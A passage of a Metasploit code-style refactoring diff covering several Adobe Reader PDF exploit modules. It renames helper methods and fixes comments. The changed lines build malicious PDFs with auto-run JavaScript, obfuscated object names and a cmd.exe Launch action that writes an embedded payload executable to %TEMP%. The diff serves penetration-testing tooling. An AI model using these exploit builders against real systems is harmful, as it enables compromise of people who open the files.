pdf << io_def(5) << n_obfu("<</Rotate 0 /CropBox [0.0 0.0 612.0 792.0]/MediaBox [0.0 0.0 612.0 792.0]/Resources <</XObject >>/Parent ") + pdf << io_ref(6) << n_obfu("/Type /Page/PieceInfo null>>") pdf << eol << endobj xref << pdf.length - pdf << ioDef(6) << nObfu("<</Kids [") << ioRef(5) << nObfu("]/Type /Pages/Count 1>>") + pdf << io_def(6) << n_obfu("<</Kids [") << io_ref(5) << n_obfu("]/Type /Pages/Count 1>>") pdf << eol << endobj xref << pdf.length - pdf << ioDef(7) << ("<</PageMode /UseAttachments/Pages ") << ioRef(6) - pdf << ("/MarkInfo <</Marked true>>/Lang (en-us)/AcroForm ") << ioRef(8) + pdf << io_def(7) << ("<</PageMode /UseAttachments/Pages ") << io_ref(6) + pdf << ("/MarkInfo <</Marked true>>/Lang (en-us)/AcroForm ") << io_ref(8) pdf << ("/Type /Catalog>>") pdf << eol << endobj xref << pdf.length - pdf << ioDef(8) << nObfu("<</DA (/Helv 0 Tf 0 g )/XFA [(template) ") << ioRef(1) << nObfu("]/Fields [") - pdf << ioRef(2) << nObfu("]>>") + pdf << io_def(8) << n_obfu("<</DA (/Helv 0 Tf 0 g )/XFA [(template) ") << io_ref(1) << n_obfu("]/Fields [") + pdf << io_ref(2) << n_obfu("]>>") pdf << endobj << eol xrefPosition = pdf.length @@ -199,7 +199,7 @@ class Metasploit3 < Msf::Exploit::Remote xref.each do |index| pdf << "%010d 00000 n" % index << eol end - pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(7) << ">>" << eol + pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(7) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" diff --git a/modules/exploits/windows/fileformat/adobe_media_newplayer.rb b/modules/exploits/windows/fileformat/adobe_media_newplayer.rb index b97df72a0d..3abbfeaee9 100644 --- a/modules/exploits/windows/fileformat/adobe_media_newplayer.rb +++ b/modules/exploits/windows/fileformat/adobe_media_newplayer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -140,7 +140,7 @@ util.printd(#{rand3}, new Date()); end - def RandomNonASCIIString(count) + def random_non_ascii_string(count) result = "" count.times do result << (rand(128) + 128).chr @@ -148,17 +148,17 @@ util.printd(#{rand3}, new Date()); result end - def ioDef(id) + def io_def(id) "%d 0 obj" % id end - def ioRef(id) + def io_ref(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ - def nObfu(str) + def n_obfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' @@ -171,7 +171,7 @@ util.printd(#{rand3}, new Date()); end - def ASCIIHexWhitespaceEncode(str) + def ascii_hex_whitespace_encode(str) result = "" whitespace = "" str.each_byte do |b| @@ -189,20 +189,20 @@ util.printd(#{rand3}, new Date()); endobj = "endobj" << eol pdf = "%PDF-1.5" << eol - pdf << "%" << RandomNonASCIIString(4) << eol + pdf << "%" << random_non_ascii_string(4) << eol xref << pdf.length - pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj + pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj xref << pdf.length - pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj + pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj xref << pdf.length - pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj + pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj xref << pdf.length - pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj + pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj xref << pdf.length - pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj + pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj xref << pdf.length - compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) - pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol + compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js)) + pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol @@ -214,7 +214,7 @@ util.printd(#{rand3}, new Date()); xref.each do |index| pdf << "%010d 00000 n" % index << eol end - pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol + pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol diff --git a/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb b/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb index 41d788b2dd..49bb5b8e07 100644 --- a/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb +++ b/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -44,13 +44,13 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => 'win', 'Targets' => [ - [ 'Adobe Reader v8.x, v9.x (Windows XP SP3 English/Spanish)', { 'Ret' => '' } ] + [ 'Adobe Reader v8.x, v9.x / Windows XP SP3 (English/Spanish) / Windows Vista/7 (English)', { 'Ret' => '' } ] ], 'DefaultTarget' => 0)) register_options( [ - OptString.new('INFILENAME', [ true, 'The Input PDF filename.']), + OptPath.new('INFILENAME', [ true, 'The Input PDF filename.', ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2010-1240', 'template.pdf') ]), OptString.new('EXENAME', [ false, 'The Name of payload exe.']), OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']), OptString.new('LAUNCH_MESSAGE', [ false, 'The message to display in the File: area', diff --git a/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe_nojs.rb b/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe_nojs.rb index 0fbb238e27..b5658a0430 100644 --- a/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe_nojs.rb +++ b/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe_nojs.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -91,16 +91,16 @@ class Metasploit3 < Msf::Exploit::Remote return hex_payload end - def ioDef(id) + def io_def(id) "%d 0 obj" % id end - def ioRef(id) + def io_ref(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ - def nObfu(str) + def n_obfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' @@ -112,7 +112,7 @@ class Metasploit3 < Msf::Exploit::Remote result end - def ASCIIHexWhitespaceEncode(str) + def ascii_hex_whitespace_encode(str) result = "" whitespace = "" str.each_byte do |b| @@ -136,15 +136,15 @@ class Metasploit3 < Msf::Exploit::Remote payload_exe = generate_payload_exe hex_payload = Rex::Text.to_hex(payload_exe) pdf << hex_payload << eol - pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj + pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj xref << pdf.length - pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj + pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj xref << pdf.length - pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj + pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj xref << pdf.length - pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj + pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj xref << pdf.length - pdf << ioDef(5) << nObfu("<</Type/Action/S/Launch/Win ") << "<< " + pdf << io_def(5) << n_obfu("<</Type/Action/S/Launch/Win ") << "<< " pdf << "/F (cmd.exe) /P (/C echo Set o=CreateObject^(\"Scripting.FileSystemObject\"^):Set f=o.OpenTextFile^(\"#{file_name}\",1,True^):" pdf << "f.SkipLine:Set w=CreateObject^(\"WScript.Shell\"^):Set g=o.OpenTextFile^(w.ExpandEnvironmentStrings^(\"%TEMP%\"^)+\"\\\\#{exe_name}\",2,True^):" pdf << "a=Split^(Trim^(Replace^(f.ReadLine,\"\\\\x\",\" \"^)^)^):" @@ -159,7 +159,7 @@ class Metasploit3 < Msf::Exploit::Remote xref.each do |index| pdf << "%010d 00000 n" % index << eol end - pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol + pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol diff --git a/modules/exploits/windows/fileformat/adobe_reader_u3d.rb b/modules/exploits/windows/fileformat/adobe_reader_u3d.rb index 20cc15e315..4a2316be78 100644 --- a/modules/exploits/windows/fileformat/adobe_reader_u3d.rb +++ b/modules/exploits/windows/fileformat/adobe_reader_u3d.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -497,7 +497,7 @@ class Metasploit3 < Msf::Exploit::Remote data end - def RandomNonASCIIString(count) + def random_non_ascii_string(count) result = "" count.times do result << (rand(128) + 128).chr @@ -505,15 +505,15 @@ class Metasploit3 < Msf::Exploit::Remote result end - def ioDef(id) + def io_def(id) "%d 0 obj\n" % id end - def ioRef(id) + def io_ref(id) "%d 0 R" % id end - def ASCIIHexWhitespaceEncode(str) + def ascii_hex_whitespace_encode(str) result = "" whitespace = "" str.each_byte do |b| @@ -532,18 +532,18 @@ class Metasploit3 < Msf::Exploit::Remote pdf = "%PDF-1.7" << eol # filename/comment - pdf << "%" << RandomNonASCIIString(4) << eol + pdf << "%" << random_non_ascii_string(4) << eol email = rand_text_alpha(3) + "@" + rand_text_alpha(4) + ".com" site = rand_text_alpha(5) + ".com" xref << pdf.length - pdf << ioDef(1) + pdf << io_def(1) pdf << "<</Author (Fo)/email (#{email})/web (site)>>" pdf << obj_end compressed_xml = Zlib::Deflate.deflate(xml) xref << pdf.length - pdf << ioDef(2) + pdf << io_def(2) pdf << "<</Length " << compressed_xml.length.to_s << " /Filter /FlateDecode>>" << eol pdf << "stream" << eol pdf << compressed_xml << eol @@ -551,32 +551,32 @@ class Metasploit3 < Msf::Exploit::Remote pdf << obj_end xref << pdf.length - pdf << ioDef(3) - pdf << "<</XFA " << ioRef(2) << ">>" + pdf << io_def(3) + pdf << "<</XFA " << io_ref(2) << ">>" pdf << obj_end xref << pdf.length - pdf << ioDef(4) - pdf << "<</Type/Catalog/Outlines " << ioRef(5) - pdf << " /Pages " << ioRef(6) - pdf << " /OpenAction " << ioRef(14) - pdf << " /AcroForm " << ioRef(3) + pdf << io_def(4) + pdf << "<</Type/Catalog/Outlines " << io_ref(5) + pdf << " /Pages " << io_ref(6) + pdf << " /OpenAction " << io_ref(14) + pdf << " /AcroForm " << io_ref(3) pdf << ">>" pdf << obj_end xref << pdf.length - pdf << ioDef(5) << "<</Type/Outlines/Count 0>>" + pdf << io_def(5) << "<</Type/Outlines/Count 0>>" pdf << obj_end xref << pdf.length - pdf << ioDef(6) - pdf << "<</Type/Pages/Count 3/Kids [%s %s %s]>>" % [ioRef(13), ioRef(9), ioRef(12)] + pdf << io_def(6) + pdf << "<</Type/Pages/Count 3/Kids [%s %s %s]>>" % [io_ref(13), io_ref(9), io_ref(12)] pdf << obj_end data = "\x78\xda\xd3\x70\x4c\x04\x02\x4d\x85\x90\x2c\x00\x0f\xd3\x02\xf5" compressed_data = Zlib::Deflate.deflate(data) xref << pdf.length - pdf << ioDef(7) + pdf << io_def(7) pdf << "<</Length %s /Filter /FlateDecode>>" %compressed_data.length.to_s << eol pdf << "stream" << eol pdf << compressed_data << eol @@ -584,18 +584,18 @@ class Metasploit3 < Msf::Exploit::Remote pdf << obj_end xref << pdf.length - pdf << ioDef(8) + pdf << io_def(8) pdf << "<</ProcSet [/PDF]>>" pdf << obj_end xref << pdf.length - pdf << ioDef(9) - pdf << "<</Type/Page/Parent %s/MediaBox [0 0 640 480]/Contents %s/Resources %s>>" % [ioRef(6), ioRef(7), ioRef(8)] + pdf << io_def(9) + pdf << "<</Type/Page/Parent %s/MediaBox [0 0 640 480]/Contents %s/Resources %s>>" % [io_ref(6), io_ref(7), io_ref(8)] pdf << obj_end compressed_u3d = Zlib::Deflate::deflate(u3d_stream) xref << pdf.length - pdf << ioDef(10) + pdf << io_def(10) pdf << "<</Type/3D/Subtype/U3D/Length %s /Filter/FlateDecode>>" %compressed_u3d.length.to_s << eol pdf << "stream" << eol pdf << compressed_u3d << eol @@ -603,29 +603,29 @@ class Metasploit3 < Msf::Exploit::Remote pdf << obj_end xref << pdf.length - pdf << ioDef(11) + pdf << io_def(11) pdf << "<</Type/Annot/Subtype/3D/Contents (#{rand_text_alpha(4)})/3DI false/3DA <</A/PO/DIS/I>>" - pdf << "/Rect [0 0 640 480]/3DD %s /F 7>>" %ioRef(10) + pdf << "/Rect [0 0 640 480]/3DD %s /F 7>>" %io_ref(10) pdf << obj_end xref << pdf.length - pdf << ioDef(12) - pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s /Annots [%s]>>" % [ioRef(6), ioRef(7), ioRef(8), ioRef(11)] + pdf << io_def(12) + pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s /Annots [%s]>>" % [io_ref(6), io_ref(7), io_ref(8), io_ref(11)] pdf << obj_end xref << pdf.length - pdf << ioDef(13) - pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s>>" % [ioRef(6), ioRef(7), ioRef(8)] + pdf << io_def(13) + pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s>>" % [io_ref(6), io_ref(7), io_ref(8)] pdf << obj_end xref << pdf.length - pdf << ioDef(14) - pdf << "<</S/JavaScript/JS %s>>" %ioRef(15) + pdf << io_def(14) + pdf << "<</S/JavaScript/JS %s>>" %io_ref(15) pdf << obj_end - compressed_js = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_doc)) + compressed_js = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js_doc)) xref << pdf.length - pdf << ioDef(15) + pdf << io_def(15) pdf << "<</Length " << compressed_js.length.to_s << " /Filter [/FlateDecode/ASCIIHexDecode]>>" pdf << "stream" << eol pdf << compressed_js << eol @@ -643,7 +643,7 @@ class Metasploit3 < Msf::Exploit::Remote # trailer pdf << "trailer" << eol - pdf << "<</Size %d/Root " % (xref.length + 1) << ioRef(4) << ">>" << eol + pdf << "<</Size %d/Root " % (xref.length + 1) << io_ref(4) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol diff --git a/modules/exploits/windows/fileformat/adobe_toolbutton.rb b/modules/exploits/windows/fileformat/adobe_toolbutton.rb index ec62fc7114..caa942dc5e 100644 --- a/modules/exploits/windows/fileformat/adobe_toolbutton.rb +++ b/modules/exploits/windows/fileformat/adobe_toolbutton.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -181,7 +181,7 @@ if (vulnerable) { js end - def RandomNonASCIIString(count) + def random_non_ascii_string(count) result = "" count.times do result << (rand(128) + 128).chr @@ -189,17 +189,17 @@ if (vulnerable) { result end - def ioDef(id) + def io_def(id) "%d 0 obj \n" % id end - def ioRef(id) + def io_ref(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ - def nObfu(str) + def n_obfu(str) #return str result = "" str.scan(/./u) do |c| @@ -213,7 +213,7 @@ if (vulnerable) { end - def ASCIIHexWhitespaceEncode(str) + def ascii_hex_whitespace_encode(str) result = "" whitespace = "" str.each_byte do |b| @@ -231,47 +231,47 @@ if (vulnerable) { # Randomize PDF version? pdf = "%PDF-1.5" << eol - pdf << "%" << RandomNonASCIIString(4) << eol + pdf << "%" << random_non_ascii_string(4) << eol # catalog xref << pdf.length - pdf << ioDef(1) << nObfu("<<") << eol - pdf << nObfu("/Pages ") << ioRef(2) << eol - pdf << nObfu("/Type /Catalog") << eol - pdf << nObfu("/OpenAction ") << ioRef(4) << eol + pdf << io_def(1) << n_obfu("<<") << eol + pdf << n_obfu("/Pages ") << io_ref(2) << eol + pdf << n_obfu("/Type /Catalog") << eol + pdf << n_obfu("/OpenAction ") << io_ref(4) << eol # The AcroForm is required to get icucnv36.dll / icucnv40.dll to load - pdf << nObfu("/AcroForm ") << ioRef(6) << eol - pdf << nObfu(">>") << eol + pdf << n_obfu("/AcroForm ") << io_ref(6) << eol + pdf << n_obfu(">>") << eol pdf << endobj # pages array xref << pdf.length - pdf << ioDef(2) << nObfu("<<") << eol - pdf << nObfu("/Kids [") << ioRef(3) << "]" << eol - pdf << nObfu("/Count 1") << eol - pdf << nObfu("/Type /Pages") << eol - pdf << nObfu(">>") << eol + pdf << io_def(2) << n_obfu("<<") << eol + pdf << n_obfu("/Kids [") << io_ref(3) << "]" << eol + pdf << n_obfu("/Count 1") << eol + pdf << n_obfu("/Type /Pages") << eol + pdf << n_obfu(">>") << eol pdf << endobj # page 1 xref << pdf.length - pdf << ioDef(3) << nObfu("<<") << eol - pdf << nObfu("/Parent ") << ioRef(2) << eol - pdf << nObfu("/Type /Page") << eol - pdf << nObfu(">>") << eol # end obj dict + pdf << io_def(3) << n_obfu("<<") << eol + pdf << n_obfu("/Parent ") << io_ref(2) << eol + pdf << n_obfu("/Type /Page") << eol + pdf << n_obfu(">>") << eol # end obj dict pdf << endobj # js action xref << pdf.length - pdf << ioDef(4) << nObfu("<<") - pdf << nObfu("/Type/Action/S/JavaScript/JS ") + ioRef(5) - pdf << nObfu(">>") << eol + pdf << io_def(4) << n_obfu("<<") + pdf << n_obfu("/Type/Action/S/JavaScript/JS ") + io_ref(5) + pdf << n_obfu(">>") << eol pdf << endobj # js stream xref << pdf.length - compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) - pdf << ioDef(5) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol + compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js)) + pdf << io_def(5) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol @@ -283,8 +283,8 @@ if (vulnerable) { # form object xref << pdf.length - pdf << ioDef(6) - pdf << nObfu("<</XFA ") << ioRef(7) << nObfu(">>") << eol + pdf << io_def(6) + pdf << n_obfu("<</XFA ") << io_ref(7) << n_obfu(">>") << eol pdf << endobj # form stream @@ -301,7 +301,7 @@ if (vulnerable) { EOF xref << pdf.length - pdf << ioDef(7) << nObfu("<</Length %s>>" % xfa.length) << eol + pdf << io_def(7) << n_obfu("<</Length %s>>" % xfa.length) << eol pdf << "stream" << eol pdf << xfa << eol pdf << "endstream" << eol @@ -322,7 +322,7 @@ EOF end pdf << "trailer" << eol - pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol + pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol diff --git a/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb b/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb index 7ae18b24a8..a64fa5f6ba 100644 --- a/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb +++ b/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -249,7 +249,7 @@ EOF end - def RandomNonASCIIString(count) + def random_non_ascii_string(count) result = "" count.times do result << (rand(128) + 128).chr @@ -257,16 +257,16 @@ EOF result end - def ioDef(id) + def io_def(id) "%d 0 obj\n" % id end - def ioRef(id) + def io_ref(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ - def nObfu(str) + def n_obfu(str) result = "" str.scan(/./u) do |c| @@ -279,7 +279,7 @@ EOF result end - def ASCIIHexWhitespaceEncode(str) + def ascii_hex_whitespace_encode(str) result = "" whitespace = "" str.each_byte do |b| @@ -394,12 +394,12 @@ EOF pdf = "%PDF-1.7" << eol # filename/comment - pdf << "%" << RandomNonASCIIString(4) << eol + pdf << "%" << random_non_ascii_string(4) << eol # js stream (doc open action js) xref << pdf.length - compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_doc)) - pdf << ioDef(1) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol + compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js_doc)) + pdf << io_def(1) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol @@ -407,8 +407,8 @@ EOF # js stream 2 (page 1 annot js) xref << pdf.length - compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_pg1)) - pdf << ioDef(2) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol + compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js_pg1)) + pdf << io_def(2) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol @@ -416,27 +416,27 @@ EOF # catalog xref << pdf.length - pdf << ioDef(3) << nObfu("<</Type/Catalog/Outlines ") << ioRef(4) - pdf << nObfu("/Pages ") << ioRef(5) - pdf << nObfu("/OpenAction ") << ioRef(8) << nObfu(">>") + pdf << io_def(3) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(4) + pdf << n_obfu("/Pages ") << io_ref(5) + pdf << n_obfu("/OpenAction ") << io_ref(8) << n_obfu(">>") pdf << obj_end # outline xref << pdf.length - pdf << ioDef(4) << nObfu("<</Type/Outlines/Count 0>>") + pdf << io_def(4) << n_obfu("<</Type/Outlines/Count 0>>") pdf << obj_end # pages/kids xref << pdf.length - pdf << ioDef(5) << nObfu("<</Type/Pages/Count 2/Kids [") - pdf << ioRef(10) << " " # empty page - pdf << ioRef(11) # u3d page - pdf << nObfu("]>>") + pdf << io_def(5) << n_obfu("<</Type/Pages/Count 2/Kids [") + pdf << io_ref(10) << " " # empty page + pdf << io_ref(11) # u3d page + pdf << n_obfu("]>>") pdf << obj_end # u3d stream xref << pdf.length - pdf << ioDef(6) << nObfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol + pdf << io_def(6) << n_obfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol pdf << "stream" << eol pdf << u3d_stream << eol pdf << "endstream" @@ -444,31 +444,31 @@ EOF # u3d annotation object xref << pdf.length - pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype") + pdf << io_def(7) << n_obfu("<</Type/Annot/Subtype") pdf << "/3D/3DA <</A/PO/DIS/I>>" - pdf << nObfu("/Rect [0 0 640 480]/3DD ") << ioRef(6) << nObfu("/F 7>>") + pdf << n_obfu("/Rect [0 0 640 480]/3DD ") << io_ref(6) << n_obfu("/F 7>>") pdf << obj_end # js dict (open action js) xref << pdf.length - pdf << ioDef(8) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(1) + ">>" << obj_end + pdf << io_def(8) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(1) + ">>" << obj_end # js dict (page 1 annot js) xref << pdf.length - pdf << ioDef(9) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(2) + ">>" << obj_end + pdf << io_def(9) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(2) + ">>" << obj_end # page 0 (empty) xref << pdf.length - pdf << ioDef(10) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]") - pdf << nObfu(" >>") + pdf << io_def(10) << n_obfu("<</Type/Page/Parent ") << io_ref(5) << n_obfu("/MediaBox [0 0 640 480]") + pdf << n_obfu(" >>") pdf << obj_end # page 1 (u3d/print) xref << pdf.length - pdf << ioDef(11) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]") - pdf << nObfu("/Annots [") << ioRef(7) << nObfu("]") - pdf << nObfu("/AA << /O ") << ioRef(9) << nObfu(">>") - pdf << nObfu(">>") + pdf << io_def(11) << n_obfu("<</Type/Page/Parent ") << io_ref(5) << n_obfu("/MediaBox [0 0 640 480]") + pdf << n_obfu("/Annots [") << io_ref(7) << n_obfu("]") + pdf << n_obfu("/AA << /O ") << io_ref(9) << n_obfu(">>") + pdf << n_obfu(">>") pdf << obj_end # xrefs @@ -482,7 +482,7 @@ EOF # trailer pdf << "trailer" << eol - pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(3) << ">>" << eol + pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(3) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol diff --git a/modules/exploits/windows/fileformat/adobe_utilprintf.rb b/modules/exploits/windows/fileformat/adobe_utilprintf.rb index 720eca22d4..03dda02143 100644 --- a/modules/exploits/windows/fileformat/adobe_utilprintf.rb +++ b/modules/exploits/windows/fileformat/adobe_utilprintf.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -95,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote file_create(pdf) end - def RandomNonASCIIString(count) + def random_non_ascii_string(count) result = "" count.times do result << (rand(128) + 128).chr @@ -103,16 +103,16 @@ class Metasploit3 < Msf::Exploit::Remote result end - def ioDef(id) + def io_def(id) "%d 0 obj" % id end - def ioRef(id) + def io_ref(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ - def nObfu(str) + def n_obfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' @@ -124,7 +124,7 @@ class Metasploit3 < Msf::Exploit::Remote result end - def ASCIIHexWhitespaceEncode(str) + def ascii_hex_whitespace_encode(str) result = "" whitespace = "" str.each_byte do |b| @@ -142,20 +142,20 @@ class Metasploit3 < Msf::Exploit::Remote # Randomize PDF version? pdf = "%PDF-1.5" << eol - pdf << "%" << RandomNonASCIIString(4) << eol + pdf << "%" << random_non_ascii_string(4) << eol xref << pdf.length - pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj + pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj xref << pdf.length - pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj + pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj xref << pdf.length - pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj + pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj xref << pdf.length - pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj + pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj xref << pdf.length - pdf << ioDef(5) << 